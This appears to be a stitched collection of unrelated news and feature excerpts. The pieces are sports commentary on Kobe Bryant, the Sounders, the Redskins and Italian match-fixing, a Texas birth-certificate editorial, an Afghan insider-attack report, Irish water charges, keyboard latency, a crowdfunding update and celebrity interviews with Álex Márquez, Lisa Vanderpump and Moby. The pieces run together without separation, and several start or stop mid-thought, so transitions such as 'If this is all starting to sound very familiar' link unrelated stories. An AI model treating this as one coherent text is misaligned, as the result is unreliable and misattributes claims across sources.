As long as the Black Mamba is on the Lakers’ roster, he will be worth more money to the franchise (and to the NBA) than they’re paying him. Even when he’s hurt, he’s still one of the most popular athletes in the world. He’ll probably win a starting spot in the All-Star game despite not having played this season. The amount of money he brings in to the Lakers with jersey sales and ticket sales eclipses the $48 million they’ve committed to him over the next two years.
Kobe’s high annual salary is going to make it difficult for the Lakers to bring in other talent to return to title contention, but they were going to be a tough sell to free agents regardless. Carmelo Anthony would be leaving a lot of money and power on the table if he walked away from the Knicks, and it’s difficult to imagine LeBron James or Chris Bosh leaving Miami to play with an aging Kobe.
Kobe was never going to leave the Lakers. That just isn’t an option, any more than Tim Duncan will ever leave the San Antonio Spurs or Dirk Nowitzki will leave the Dallas Mavericks. At his age and with his injury, he’s worth more to the Lakers than he would be worth to any other team, and it’s better for him that he retires a Laker than any other scenario.
Is Kobe worth $48 million over the next two seasons? Probably not. But will he have been worth $328 million over the last 20? Absolutely.
If this is all starting to sound very familiar, that’s probably because you’re old enough to remember last summer’s negotiations over Nicolas Lodeiro’s move to the Sounders. Almost three weeks before the deal was finalized, the Sounders had reportedly grown so frustrated over Boca Juniors’ demands that they cut off negotiations.
You might also remember two summers ago, when Roman Torres was all set to join the Sounders until a third-party threatened to scuttle the deal.
Related Everything you need to know about the MLS Summer Transfer Window
If you’re really old, you may even remember all the way back to 2013 when the Sounders were trying to sign Obafemi Martins. Levante was so dead set on keeping Martins that they were threatening legal action against the Sounders.
THE 14TH Amendment, ratified in 1868, states plainly that citizenship is automatically conferred on anyone born in the United States. Lately the state of Texas, blinded to the law by its antipathy to illegal immigrants, has determined that it is somehow exempt from that provision of the Constitution.
In an act of stunning official arrogance, the state has been refusing to issue birth certificates to increasing numbers of Texas-born children whose parents are undocumented immigrants. Without birth certificates, the children face barriers to being enrolled in day care and school, receiving Medicaid benefits — even being baptized.
The children, who so far number in the hundreds and possibly the thousands, are U.S. citizens. Yet by refusing to issue them birth certificates, on the pretext that their parents’ documents — including passports and photo IDs issued by Mexican consulates — do not meet the state’s standards, Texas is in effect making them stateless non-persons, devoid of rights and privileges.
No other state has pursued such a pernicious campaign against the blameless American-born children of immigrants in this country illegally. While half a dozen Republican candidates have said they favor overturning the 14th Amendment’s guarantee of birthright citizenship, only Texas has adopted policies whose effect is to overturn it unilaterally.
The state’s position is that it is enforcing long-standing rules governing the documents it will accept from parents seeking to obtain birth certificates from local registrars. Acceptable documents include driver’s licenses, U.S. visas and unexpired voter ID cards issued by Mexico and other countries.
Lacking those documents, many undocumented immigrants in the past presented local officials with photo IDs issued by the dozen or so Mexican consulates in Texas. But in the past couple of years, as Republicans took exception to President Obama’s moves to temporarily protect some unauthorized immigrants from deportation, Texas cracked down, declaring that registrars would no longer accept consular cards from parents seeking birth certificates for their children. Groups representing undocumented immigrants and their children are suing the state in federal court.
Texas officials say their interest is to fight fraud and identity theft, insisting that Mexican consulates issue the photo IDs without authenticating documents presented by immigrants — an allegation Mexican officials strongly deny. Many other states accept the consular cards as valid IDs.
In any event, if Texas will not accept the consular cards, it is obliged to find some other means of issuing birth certificates to children born in the state; their parents’ immigration status is irrelevant. On Friday, lawyers representing some 60 undocumented parents and their children asked a federal judge to compel the state to issue the birth certificates.
The incident occurred around 2 p.m. local time, during a training exercise at Camp Shaheen in Mazar-e Sharif. The attacker, a commando assigned to the Afghan army's 209th corps, allegedly fired three rocket-propelled grenades at the Americans before continuing the attack with two M4 carbines, an Afghan defense officials told Military Times. The assailant was later shot dead by an American armed with a pistol, the Afghan official said.
There are no American fatalities, according to a statement from the NATO command headquartered in Kabul. The wounded were evacuated and the incident is under investigation, officials said.
UPDATE: Seven U.S. service members wounded, evacuated for treatment. Insider attack Camp Shaheen, Mazar-e Sharif under investigation https://t.co/WXujMMXA3U — Resolute Support (@ResoluteSupport) June 17, 2017
Saturday’s attack marks at least the second violent incident so far this month involving American personnel embedded with Afghan security forces. It comes exactly one week after an Afghan soldier allegedly opened fire on U.S. troops, killing three and wounding one. For the month of June, U.S. officials have reported at least three other Americans wounded in action in Afghanistan. Year to date, that number has now reached nearly 50.
It is significant, too, that the attacker at Camp Shaheen was a member of the Afghan army's elite commando force. The U.S. strategy in Afghanistan focuses heavily on further developing these units, with plans well underway to double their size in coming years.
U.S. troops remain at risk elsewhere in the country. In mid-March, three U.S soldiers were shot and wounded in another apparent insider attackat an Afghan military complex in Helmand province, where a Task Force of 300 U.S. Marines is embedded with the Afghan security forces today.
Saturday's attack comes amid talk in Washington of sending another 4,000 American troops to step up counter-terror operations and help break what senior military leaders have declared a stalemate in the 16-year war with the Taliban. NATO countries contributing to the war effort are likely to make individual announcements soon on adjusting their troop levels. Among European countries, those numbers are expected to be under 1,000.
President Donald Trump has delegated authority on troop numbers in the war-torn region to Defense Secretary Jim Mattis. A spokeswoman for Mattis, Dana White, indicated earlier this week that his decision is pending further consultation with other U.S. agencies, the Afghan government and NATO, she said.
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Mattis told House and Senate lawmakers this week that, by mid-July, he plans to provide the White House with a comprehensive strategy for Afghanistan. That plan may include sending U.S. military advisers even closer to the action, and possibly embedding tactical air controllers within front-line Afghan units to help them push back the Taliban.
"We are not winning in Afghanistan," Mattis told senators on Tuesday.
Long-term, officials say, the objective is to set the conditions that will enable the U.S. to maintain a counter-terrorism presence in the region and prevent the sort of lawlessness that could destabilize Afghanistan's neighbors. Both Pakistan and India possess nuclear weapons. There's mounting concern, too, about the increasingly overt efforts by Russia and Iran to influence regional affairs.
Presently, approximately 8,500 U.S. troops are deployed to Afghanistan as part of two separate operations.
Families will receive a smaller free water allowance for each child than has been promised by the Government.
The Irish Independent has learnt that the allowance will not be the 104 litres per day flagged by ministers before the local and European elections.
Irish Water research suggests that children are using less water than previously forecast.
However, officials are refusing to say what the difference is.
The 104 litres daily – which works out at 38,000 litres a year – was reported as being the free children’s allowance after details of the charging structure were announced last month.
Reduced
The reduced allowance will affect more than 1.1 million children in the State aged 17 or under.
However, the Government last night insisted it remained committed to providing free water to every child, which would be achieved despite any reduction in the free allowance.
“It was always the intention that it would be up to 38,000 litres, subject to verification from metering, and that remains the intention. Children will go free. That was always the Government’s commitment.
“The position has always been that the free allowance for each child would be up to 38,000 litres and this was reflected in our press release of May 6 on the announcement on the average charge and free allowances.
Last night’s statement contradicts Taoiseach Enda Kenny’s assertion in the Dail early last month that children “are to be given a 38,000-litre allocation” which would help reduce bills.
A total 1.35 million families will be hit with charges from next October, with ‘average’ bills expected to be €240 per family which will fall due early next year.
Homes with meters installed will pay based on recorded consumption. Those without, including people living in apartments, will pay an assessed charge, based on average consumption of a similarly-sized family.
The Department of the Environment estimated that annual usage was 150 litres per person per day. A child’s usage was put at 104 litres, which resulted in the proposed 38,000 free allocation.
However, Irish Water has been analysing data gleaned from meters already installed in homes and determined that a child’s consumption is less than previously believed.
The usage rates are crucial in determining how much families will pay when bills land next January.
The information will be used by the water regulator, the Commission for Energy Regulation (CER), to determine the free allowance which will have a major bearing on family finances.
Around 1,650 households with meters fitted were asked how many people lived in the house, the number of bedrooms and architecture type, Irish Water said.
Using this data, the commercial semi-state calculated consumption per child. The company said there was a margin of error of less than 3pc, and that the information was sought voluntarily to help determine what the assessed charge would be.
The data is being checked and benchmarked for inclusion in a document to go to the CER, which will decide the level of charges and free allowance.
“The main purpose of the research is to ensure that the assessed tariff is a close proxy to the metered tariff.
“This data is currently being analysed and will ensure that the Government direction is implemented as intended,” Irish Water said.
The so-called Water Charges Plan will be submitted to the CER next Wednesday, and will be published by the CER after, it added.
Crippling
But the reduced consumption rates means the commercial semi-state is expected to tell the regulator that the proposed free allowance is higher than needed, which is likely to result in some families being hit with higher bills.
Taoiseach Enda Kenny, Tanaiste Eamon Gilmore and Environment Minister Phil Hogan have all said that the allowance would help families to avoid crippling bills – and in effect that children would ‘go free’.
A free allowance of 30,000 litres of water per household remained unchanged, along with an allowance of “up to” 38,000 litres per child under 18 years of age, the Department of the Environment said.
For the definitive guide to saving money on water charges, see your Beat the Meter supplement in the |middle of this paper
Water allowances: What they said
"It is also taken into account that children obviously bring with them costs and charges in the daily running of a household. The Government has recognised this by providing extra assistance in that children are to be given a 38,000-litre allocation, which effectively makes all children under the age of 18 years free."
Enda Kenny addressing Leaders' Questions in the Dail on May 6, the day that free water allowances were announced.
"In the case of children we are giving an additional 38,000 litres per child up to the age of 18 because we know how many children we have on child benefit, so therefore effectively children are free."
Environment Minister Phil Hogan speaking on RTE the same day.
"There will be a free allowance of 38,000 litres per child based on typical water consumption levels for children, so that households effectively will not pay for water consumed by children."
Mr Hogan, addressing a press conference on May 6.
"There will be no standing charge . . . households will, therefore, only pay for water use above 30,000 litres per annum. The level of free allowance will increase by an additional 38,000 litres for each child in the household, which, in essence, results in free water for children."
Junior Minister Fergus O'Dowd during a Dail debate on May 7.
"In introducing the charges we were very mindful to introduce them in a way that is fair and reasonable. There will be no fixed charge. There will be no standing charge. There will be a free household water allowance and an additional allowance of 38,000 litres for each child."
The Irish Independent today publishes the definitive guide to water charges.
Experts give a comprehensive guide to everything you need to know: from the simple tips to the clever gadgets that can reduce your water usage – and save you money.
Beat the Meter – only in today's Irish Independent.
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Introduction
It might seem astonishing but modern keyboards have a 20x denser transistor count than the Intel 8080 microprocessors, which powered entire PCs in the 1970s. It is human tendency to assume that any modern peripheral would be faster than the previous generation by several orders of magnitude, but it turns out that it is actually not true. Despite the higher transistor count and faster clocks than first generation PCs, modern keyboards actually have high key press latencies compared to the entire key press pipelines from yesteryear computers.
When on the lookout for a high-end PC, keyboards are often given the after-thought. Except for enthusiasts no one actually spends time in perusing the keyboard specifications. Those on the lookout for purchasing gaming hardware will generally find themselves to be drawn towards keyboard latency and the mechanical nature of pro-gamer keyboards. It is also a common perception that keyboards having high polling rates are better suited for gaming given their perceived low input lag and low response times. So do response times and polling rates matter when in the hunt for a good gaming keyboard or is it just a marketing gimmick? Do PS/2 keyboards of yore actually have better performance compared to today's 'low latency' USB high speed ones? Ex-Microsoft engineer Dan Luu's little experiment might just have the answer.
Before we move to learn more about this interesting study, let us familiarize ourselves with some jargon.
Polling Rate - The rate at which the computer checks the USB bus for data. A keyboard having a 1000Hz polling rate is queried by the host CPU 1000 times a second or 125 times every 8ms. The OS knows the polling rate of the device when the device first registers itself on the USB bus. Although not an issue with modern processors, high poll rates do take up considerable CPU resources.
This is Dr. Eric L. Hensen, founder and chairman of FreeWavz. First of all, allow me to reassure you that we are very much proceeding with the project and are not closing down. I wanted to reach out and once again thank you for your initial and ongoing support. Your support validated my initial idea for a better listening and monitoring device. Since my start on this journey years ago I’ve had numerous ups and downs, good days and not so good days, but all in all we at FreeWavz have continued to move forward to deliver the best product possible. While we have had set backs we have also had great advances too. When I initially dreamed this product up, I’ve seen an idea go from a crude drawing on paper to a working prototype. We at FreeWavz plan on delivering a product with features that are going to be both innovative and cutting-edge. I know you are frustrated with the numerous delays, but no one is more frustrated and disappointed then I am. While I know that my frustration is not a satisfactory explanation or apology for the delays, we will not let it deter us from realizing our dream of bringing FreeWavz to market as soon as we can. We are committed to deliver a product that far exceeds all of our backer’s expectations. There have been several opportunities where we could have launched the product; however, it didn’t meet my standards of excellence. I had to make several hard decisions knowing very well it would further upset some backers.
We continue to work with our factory, engineering, and distribution partners to bring this dream of mine to market. Today we are in a bit of an engineering pickle. Some of the original parts used in the primary design have changed this year and this adjustment has led to unexpected changes in how our pulseox measurement system works. We are modifying the design to compensate for this issue and unfortunately it will take more time. My hope is that all of you understand that we are working every day to make this dream a reality. Although we don't have a confirmed time line, I will continue to update you directly as the founder on a more regular basis.
Thank you,
In the first 10 games of this traumatic season, the Washington Redskins played the NFL's toughest schedule, and they have the hospital visits to prove it. They stunned a few good teams, found a few innovative ways to lose, and, of course, they did what they do best, tormenting those addicted to them by extracting the heart of the fandom and playing hot potato with it.
Followers have experienced a season's worth of drama and plot twists, and there are still six weeks remaining. For a good while, the suspense kept you coming back despite the team's mediocrity. But after the collapse in New Orleans on Sunday, after a possible season-changing victory devolved into a debacle, you see a 4-6 team with vanishing playoff hopes and a question it must answer before taking the field again Thursday: What's left to play for?
Well, if it's any consolation, the hard part is over. The words don't seem very comforting right now, but they are true. When it trudged out of the Superdome late Sunday afternoon, Team Torture exited the most vicious portion of its schedule.
It has been a gantlet. After Monday night's game between Seattle and Atlanta, the combined record of Washington's first 10 foes is 63-37, an opponent winning percentage of .630. Washington has played 9-1 Philadelphia twice. It has played two 8-2 teams, Minnesota and New Orleans. It beat the 7-3 Los Angeles Rams in Week 2. Even with 1-9 San Francisco in this cluster of games, Washington has played the toughest schedule in the NFL, according to teamrankings.com.
[Kirk Cousins says an NFL apology over intentional grounding ‘really doesn’t do much’]
Certainly, these games have left you with a long list of this team's nots: not consistent, not good at running the football or defending the run, not good at throwing to wide receivers, not good at home, not good at holding leads, not capable of closing halves like a sane team, not predictable, definitely not healthy. Washington is resilient, and that's cool, but it has had opportunities to squeeze more out of this season. It has failed. And because this is professional sports, you can't explain that away by pointing at the injury list. The only valid defense is to make the case that this challenging 10-game slate has exaggerated the shortcomings.
Okay, so if the strength of competition has created a distorted impression, then it is clear what Washington must prove over the remainder of this season.
The cream of the NFL showed us what the Redskins are not. Now, in six manageable games (at least on paper), they must show us what they are.
In their final six games, they don't play a team that has a winning record. They face the New York Giants (2-8) twice, starting with this Thanksgiving matchup from hell. They visit Dallas (5-5) and the Los Angeles Chargers (4-6) and host Arizona (4-6) and Denver (3-7).
Those opponents have combined for a 20-40 current record, which is a .333 winning percentage. Softer? Yes. But in the parity-driven NFL, records don't guarantee anything, and easy is a misguided concept. Besides, you could give Washington a Bugatti Veyron sports car, have it race a bicycle with training wheels and still be nervous about the outcome. Still, if Washington is a focused and well-coached team determined to prove how much fight it possesses, it should fare well down the stretch.
What's left to play for? It's not just pride. The direction of this franchise is at stake. I still believe that Washington should err on the side of patience and have the guts to continue a gradual rebuild, but the team has to keep proving it is worthy of such a long wait. It can't fall apart in the final six games.
The bar isn't even that high. At minimum, Washington should be expected to win half of its final six games. A 4-2 record is a better standard. Winning five of six or even sweeping and making a dramatic playoff push are taxing demands, but they're not ridiculous.
Let's put it more simply: Washington should exit this season feeling like it is a rising team again. It should go into the offseason feeling like it is primed to be a playoff team next season. If the players and coaches don't show improvement and provide tangible evidence of a developing winner, then everything must be reconsidered. That goes for Coach Jay Gruden and quarterback Kirk Cousins, both of whom I've treated very well in this space. That goes for every aspect of this team, really.
Once this season is over, the front office has to pick a direction because so many potential free agents as well as former draft picks will be eligible for extensions. At 4-6, there isn't much reason to bring back most of these core players. Could that change if the team gets to 8-8 or 9-7? It depends on how that would happen, but yes, it would be easier to commit.
"I feel like we have a lot of warriors on this team, guys who are winners and want to compete every single play," tight end Vernon Davis said. "Weeks like this can really test your character and test who you are as a man. How will you respond?"
[Analysis: How the Redskins’ defense lost a 15-point lead to the Saints in six minutes]
The response means everything to the future. Washington likes to present itself as a team of fighters that has endured hard luck against a brutal schedule. The players have a belief that, with fewer injuries and a more balanced schedule, they could impress you. Here's their chance. Every remaining opponent is either at Washington's level or below it. Dallas, which already came to FedEx Field and won, is different now that running back Ezekiel Elliott is serving a suspension. Denver probably has a more impressive roster, but the Broncos have lost six in a row, and John Elway — the Hall of Famer who built the team — is calling his players "soft."
This being the NFL, there figures to be one team from this six-game cluster that will make a run and end up being a more dangerous opponent than you think. I'd bet on the Chargers, who just put 54 points on Buffalo and have suffered some Washington-like heartbreakers in their six losses.
Nevertheless, the final six games represent an opportunity for Washington to change the current perception of its season. And if the team can't do that, well, say some preemptive prayers.
"We have no choice but to keep grinding and keep battling," Gruden said.
Despite all that has happened, every piece of insight about this team is incomplete. The hard part wasn't as bad as advertised. It might have been worse because it included a lot of woulda, coulda, shoulda.
So what's next? Is this the easy part? Is this when Team Torture quiets all arguments against it and gives the season balance? Or will this be the collapse after the collapse?
Police raid the Italian national team camp and an earthquake in Emilia-Romagna forces the cancellation of the Italy-Luxembourg Euro warm-up. It’s been a tough week for Italian tifosi, on and off the pitch.
Defender Domenico Criscito left the Euro squad after being implicated in the latest wave of prosecutorial investigations and charges. Meanwhile, Antonio Di Natale emerged as a pale as a ghost after riding out the 5.9 magnitude quake in an elevator.
The latest developments in calcio’s corruption and match fixing scandal have produced 19 arrests, including that of Lazio captain Stefano Mauri and ex-Genoa man Omar Milanetto. Prosecutors in Bari, Cremona, and Napoli have also implicated several dozen high profile players, managers, and club officials. That this mess is taking place only a few years after “calciopoli” — which famously landed Juve in serie B and penalized Milan, Lazio, and Fiorentina — is a potent indictment of the Italian football system and its willingness or ability to reform itself.
Italian authorities and prosecutors inspire confidence in some circles that the metastasizing problem will finally be addressed (read Declan Hill’s blog post here), but I find this optimistic view problematic on a number of levels. Here’s why:
First, the justice system in Italy is utterly dysfunctional. From civil to criminal cases, almost nothing works properly. The country has more than 10,000 laws on the books, that’s more than most, if not all, other countries in the world. Moreover, culprits of egregious crimes are often let off the hook with little more than a slap on the wrist while minor cases take years to resolve. And that’s just the tip of the iceberg.
Second, calcio works exactly like Italian politics. Family and “big man” cliques dominate and actively seek to expand their narrow interests against the common good. From serie A and B all the way to the lowest amateur ranks, this situation makes it almost impossible to develop a fair, equitable, and sustainable solution to the football rot.
Third, Italian sport and society struggle with a culture of cheating that pivots around what may be labeled “situational ethics” and a common sense rationalization that laws are made to be circumvented.
Given this dispiriting local situation and a worrisome rise in match fixing, corruption, and bribery on a global level, the Italian Prime Minister Mario Monti’s recent statement “that it would really benefit the maturity of us Italian citizens if this game was completely suspended” for a couple of years seems like a good idea. It might create the space needed for a soul-searching dialogue aimed at finding long-term solutions to calcio’s spiral of decline.
In a period of adaptation to a new class, reigning Moto3™ World Champion Álex Márquez takes stock of the first half of the 2015 season. Aware of his strengths and weaknesses, the Team Estrella Galicia 0,0 Marc VDS rider is more excited than ever about the upcoming races.
With the German GP already behind you, you’ve reached the midway point of the season. What is your assessment of your progress in Moto2™?
“At first it was difficult, but overall it’s positive. Moto2 is a new category for me and, after becoming Moto3 World Champion with Team Estrella Galicia 0,0, we have started a new journey and we are working very hard to try to take the positives from difficult situations. Especially important is having patience. Moto2 is a tough category in which being a second off the pace means you qualify twentieth on the grid for the race. This difference in Moto3 was not so worrying, because in the end you can save yourself by slipstreaming, but in Moto2 you either have to work well in practice or you have it very difficult to gain positions. In this category it is all very tight and it's the little details that make you cut the thousandths of a second you need in order to fight in the leading group.”
What details are they?
“Above all the setup or, for example, when we arrive at a new circuit, it helps us a lot to have some references. You also have to try to ride at peak performance in every practice. A bad qualifying session puts you far back on the grid and then in the race - however hard you work in the Warm Up - it is very difficult to improve your times. You have to start working, mentally, from the Wednesday when you get to the circuit, so that when you go out for the first free practice very focused.”
What has most surprised you about the new category?
“I was warned that tyre management would be difficult, but after coming up I encountered rock hard tyres that hold up for the whole race – and even allow you to put in your fastest laps late on. I had also been warned of the problems that occur on the first few laps with a full tank of fuel, and it turns out that sometimes it actually helps you. In short, things that seem like they will be problematic initially, in my case are things that I have adapted to more easily. In contrast, other things which weren’t given as much importance I’ve found harder.”
What has been difficult?
“The hardest thing was adjusting to the weight difference, rather than the difference in power, because having more weight means you have to anticipate every move you need to make. For example, changes of direction with the Moto3 bike could be made 20 metres later, whereas with the Moto2 bike you wouldn’t make the turn like that. I remember at Assen, a circuit with very quick changes of direction on the quick, flowing corners, that it was a lot of work.”
Which of the Grands Prix so far this season has left you with the best memory?
“At Mugello we went pretty well, but I’d say the Catalan GP. It was the weekend in which we felt most comfortable with the bike and I'm sure that if we hadn’t have got hit in the race, we could have obtained a better result. Our pace was the same as the frontrunners.”
What has been the toughest GP so far?
“The Grand Prix of the Americas at Austin, because from the beginning of the year one of the things that was hardest for me most was heavy braking, using the clutch and stopping the bike. Slides entering the corners are very pretty but not very effective. The fastest riders don’t twist the bike much under braking and my problem was that on corner entry. I couldn’t set myself up for the exit. The entry was very fast and very spectacular, but I lost a lot of time that way. Austin, which is a very hard braking circuit, was tough for this reason. When we arrived at other circuits with heavy braking, we realised that this was an aspect where we had a lot of room for improvement. We have now achieved, with some adjustments of the clutch and changing my driving style a lot better at this point.”
Which circuit have you found most comfortable with the Moto2™ bike?
“I felt very comfortable at the Assen circuit, right from the beginning. I was between fifth and tenth place from the start, which made things even more fun and I enjoyed myself on the bike. If you are at the front at a track you will always find it more comfortable. I don’t think any rider says he is comfortable at a circuit where he has placed twentieth.”
Of the remaining Grands Prix this season, what are you most excited about?
“Obviously both of the rounds in Spain. At Motorland Aragon and Valencia there is a great atmosphere and fans who always motivate me a lot, plus I have always ridden well there. Indianapolis, Brno and Silverstone are also circuits that have been good to me in the past. I like circuits that are fast and wide. However, at the circuits that least suit me, I always I set out to be competitive, try to enjoy myself and get a good result. Last season, for example, Motegi was the circuit that on paper would be toughest for me, and we ended up winning there.”
There is nobody better than you to give advice to Team Estrella Galicia 0,0 Moto3™ riders Fabio Quartararo and Jorge Navarro. What have you told them?
“I definitely try and help them out! Especially at circuits that are new to them. They also work with my telemetry and that of Álex Rins from last season, which can help them a lot. Sometimes I also go through to the box to greet the mechanics, and if it they are looking at the telemetry I sit down with them to review it. It’s a way to hang out with former colleagues and lend a hand at the same time.”
How do you assess their performance in the first half of the season?
“I think they are both doing very well. For Jorge it took a while to get going and find the confidence and consistency that you need in the World Championship, and now it looks like it's there and he is doing well. Fabio started strong and then had a couple of dips with his results, but it reminds me of my 2013 season; I had a strong start and then two races in which I crashed twice, but then by the end of the season I’d kept up a good level.”
Do you think that the situations they are going through and the mistakes they have made are normal in a rookie season?
“Yes, when you come from the FIM CEV Repsol, which has a different pace to the competition, and you make the leap to the World Championship, it is normal to go through these situations. In the case of Fabio [Quartararo], being a two-time Spanish champion and also doing very well at the first race in Qatar perhaps created some early season expectations that were premature. That generates a lot of pressure that leads to mistakes. It’s after the crashes that you stop and think: “Where should I be?” and focus on learning and keeping improving. Sometimes it is the pressure that you impose on yourself which leads to such situations. On the other hand, Jorge Navarro is experiencing great progress. He has also made some mistakes, but since he has taken things more calmly, the results are coming and he has demonstrated that he can be fighting in the leading group.”
Now you have three weeks off, what are your plans?
“One week will be to relax and spend time with friends. During the other two weeks I will continue with my training plan to be strong ahead of the next Grand Prix in Indianapolis.”
Are you more a fan of the sea or mountains?
“This year I'll do a bit of everything. Mountain’s first, then a little time at the beach.”
Do you relax your diet a little?
“No, normally I don’t. Maybe one day with friends you let it slide a little at dinner, but I always eat healthy. I am lucky that I like to eat healthy, so I don’t have to make a great effort to follow a good diet.”
What is a perfect summer day for you?
“I like to get up early, enjoy the freshness of the morning, go for a little cycling, then relax a little, eat and in the evening go for a drink with friends. Then load the bike onto the trailer and do some dirt track at night, when it is better. Afterwards, meet with friends and improvise a little!”
Do you practice any water sport?
“I'm not a sea kind of guy - I prefer the mountains. In fact I prefer the pool – it’s better to know what is at the bottom!”
Do you prefer to stay in Spain or travel somewhere exotic?
“We raised more money than has ever been raised before at a better cost of fund-raising than has ever been done before,” Mr. Zwick said.
But few fund-raisers seem to command commissions as generous as Ms. Bonner’s. Political fund-raisers are typically paid monthly retainers, which can reach $25,000 a month during campaigns. The Bonner Group is paid almost exclusively on commission, a practice that is legal but frowned upon by some fund-raising consultants, who say it leads to fights with clients and other consultants over credit. It is considered unethical by the Association of Fundraising Professionals, partly because it can encourage abuses and, in the charity world, places self-gain over philanthropy.
“I think it’s a breach of fiduciary responsibility to pay fund-raisers on commission,” said Cindy Darrison, a professor at the George H. Heyman Jr. Center for Philanthropy and Fundraising at New York University.
Allies say Ms. Bonner and her 20-member firm are worth the expense. The Bonner Group maintains a database of 70,000 donors and collects detailed information on their past giving, their families and their political relationships. Many praise her energy and personal touch: thank-you notes, for example, or tickets to Broadway shows.
“Without Mary Pat, we would never be where we are today,” said Craig T. Smith, a senior adviser to Ready for Hillary. Mr. Smith said the group had paid Ms. Bonner and some other fund-raisers a single-digit percentage of money raised.
Hearing the silky British drawl of Lisa Vanderpump over the phone you’d be forgiven for thinking she was relaxing in a countryside estate somewhere deep in the rich neighbourhoods of Buckinghamshire. Swap Buckinghamshire for Beverly Hills and the picture stays pretty much the same.
One of the longest-running members of The Real Housewives of Beverly Hills, Lisa is a mother to two, a wife of 34 years, an entrepreneur, a philanthropist and a keeper of 8 dogs, numerous swans and two miniature ponies. She somehow also finds the time to film Real Housewives alongside her other reality show, Vanderpump Rules – documenting the trials and tribulations of running her West Hollywood restaurant, SUR.
Vanderpump Rules is in its fourth season whilst Real Housewives is still going strong at season six. The gaggle of rich Hollywood housewives is infamous for their extravagant parties, excessive spending and exaggerated arguments. Lisa provides the feisty backbone of the group, often always telling it how it is – as this interviewer found out. Immediately reversing our roles, she starts by grilling me about how many viewers her shows get in the UK (170,000 last week if you’re reading Lisa). Our awkward conversation ends with her confusing my role as a journalist with the ability to control all television as she requests I get her a spot on The Graham Norton Show.
I can’t deny she’s got spunk.
Hi Lisa, firstly I wanted to say you’re absolutely my favourite housewife. Everybody that knows I’m doing this interview has said they love you too – you’re definitely repping for the Brits.
It’s hard for me to understand really – how well known it is over there – because I feel pretty isolated here. When I went back [to the UK] I wasn’t recognised that much compared to here… here I go anywhere and it’s a big deal.
Well you’re obviously going to the wrong streets – I would have said hello!
(Lisa laughs, then gets back to the serious questions) What channel is it on over there? Lifetime and ITVBe?
Yes, Housewives is aired on Tuesdays here.
And how many viewers does it get?
I’m afraid I wouldn’t be the one to ask for that…
What about Vanderpump Rules? Does that get a lot of attention?
(This goes on for a while… I’ll spare you the rest).
Having caught up on the latest US episode, everything seems to have come to a head with the discussion about Yolanda Foster and her children. Do you think your words were twisted?
(N.B. Yolanda and two of her children suffer from Lyme’s Disease; Lisa has been accused of claiming the children are completely healthy).
Well it was a difficult scenario really, I think most people have reacted well and understand that Kyle kept pushing and I was reluctant to talk about it. Then Erika kind of exaggerated everything – have you read my blog? There’s a lot of how I feel in that really. It’s a complicated scenario but that does kind of break it down. I feel like there was no point in throwing Kyle under the bus and saying she pushed me – I’m not that friend to be shifting the blame around. I was going to deal with it at hand.
It was slightly surprising, [Yolanda] seemed very aggressive that’s for sure.
I wanted to ask you about new girl, Erika Girardi. It’s clear you’re the alpha-female housewife but do you think Erika might be a threat to your status?
I’ve never really felt like alpha anything. I mean maybe they’ve given me that crown, so to speak, when they call me “the Queen”. For me, I have a hell of a lot of pressures and struggles just trying to stay on the show. I’m running my three restaurants – businesses that are open 16 hours a day – and then I’m on Vanderpump Rules at exactly the same time. I was organising a lot for the “Stop Yulin” march and I do a lot for LGBT… So I don’t really think, ‘oh I’m going to come in and lead the pack on this one!” I’m basically just struggling to get dressed and show up!
One thing about Erika that has been surprising is that she was quite nice in scene and didn’t say very much, and then in her interview bites it’s a different story. I think that’s what makes the show interesting though. Some people are crazy about her and I suppose then I’m not their favourite. I think everybody should have somebody that they identify with. She’s new to the show; I’ve done 200 episodes of reality – she’s done six – you know, they’re just getting a glimpse of her.
People know me and pretty much know that they can depend on me for a modicum of decency.
Obviously you are very busy but do you think you’ll stick with the Real Housewives? Will we see you in season seven?
I don’t know yet – all good things come to an end don’t they? I didn’t think I’d come back after season four to be honest.
You deserve a rest!
I won’t rest, I’ll rest when I die – there’s a lot of things I want to accomplish. It wasn’t a good season for me; even up to so far, I see everyone taking a dig and sniping.
Vanderpump Rules has been a huge task as well. We’re going to finish that with 23 episodes – it’s a lot, it started off as a little spin-off. We shoot both at the same time which is quite demanding really.
Jennifer Lawrence is a big fan of both Housewives and Vanderpump Rules – she’s even visited Pump (Lisa’s “sexy garden restaurant” in Hollywood) a number of times. There are rumours that J-Law and Amy Schumer might be writing a spoof of the reality shows, do you think that’d be fun?
I love Jennifer Lawrence. I think she’s fabulous and she’s got a great sense of humour. Yes, of course she’s been into Pump. She even did her own little video – a spoof of the Vanderpump Rules titles.
She’s a great girl, a very talented actress as well. Yes that would be hilarious – I think she’s even discussed it with Eddie Redmayne. In fact, I just got an invitation to Eddie Redmayne’s party. Eddie Redmayne likes the Housewives – maybe that’s why I’ve been invited to his Oscar party. (THREE times she said Redmayne’s name, just in case you didn’t pick up that).
Back in 2013 you did Dancing with the Stars, would you ever consider coming back to the UK and doing Strictly Come Dancing?
If they asked me I’d definitely consider it but it’s hard for me to spend a lot of time in the UK now. I do come back every few months but I was shooting all summer, and I’ve got a lot of dogs and other animals I’m passionate about. It’s really difficult for me to be away from them. I’ve literally just come in from feeding biscuits to my little ponies.
Do you watch a lot of TV? What do you enjoy watching?
It’s very difficult for me to watch television, I have to say, with the state of the world and all of the political things that are going on here at the moment. I’ve been watching CNN – I’m regularly a spokesperson on CNN or HLN, their sister station.
I also love some of the great dramas like Revenge and The Affair.
Great, thanks for talking to us Lisa. (To you and me, this indicates the end of the interview… but not for Lisa Vanderpump).
Oh you’re welcome. What you should do is… I’d like to come to England to do some talk shows. I’d like to promote Vanderpump Rules and Real Housewives but nobody ever asks me. I’d love to do Graham Norton but I haven’t got anyone working on my behalf over there.
(Panicking and trying to make a joke) Well I’ll get on the case for you then.
No will you seriously or not?
Well I can try! I will find somebody from Graham Norton and I will do what I can.
Because it’d be good to promote the shows there.
Yea definitely.
Ok.
Ok… thank you for your time!
Bye!
(And here ends the world’s most awkward interview).
by E. B. White
Ford Times, June 1963 WAKING OR SLEEPING, I dream of boats - usually of rather small boats under a slight press of sail. When I think how great a part of my life has been spent dreaming the hours away and how much of this total dream life has concerned small craft, I wonder about the state of my health, for I am told that it is not a good sign to be always voyaging into unreality, driven by imaginary breezes.
Moby: 'Going to AA is the only chance in LA you get to see fellow musicians'
Hey, Moby, how and where are you?
I'm great. I'm at home in Los Angeles (1). I thought I'd spend my whole life in New York, but a few things happened. One, I stopped drinking. And two, I realised New York is the greatest place in the world to be a drunk, but not such a great place to be sober.
How much were you drinking?
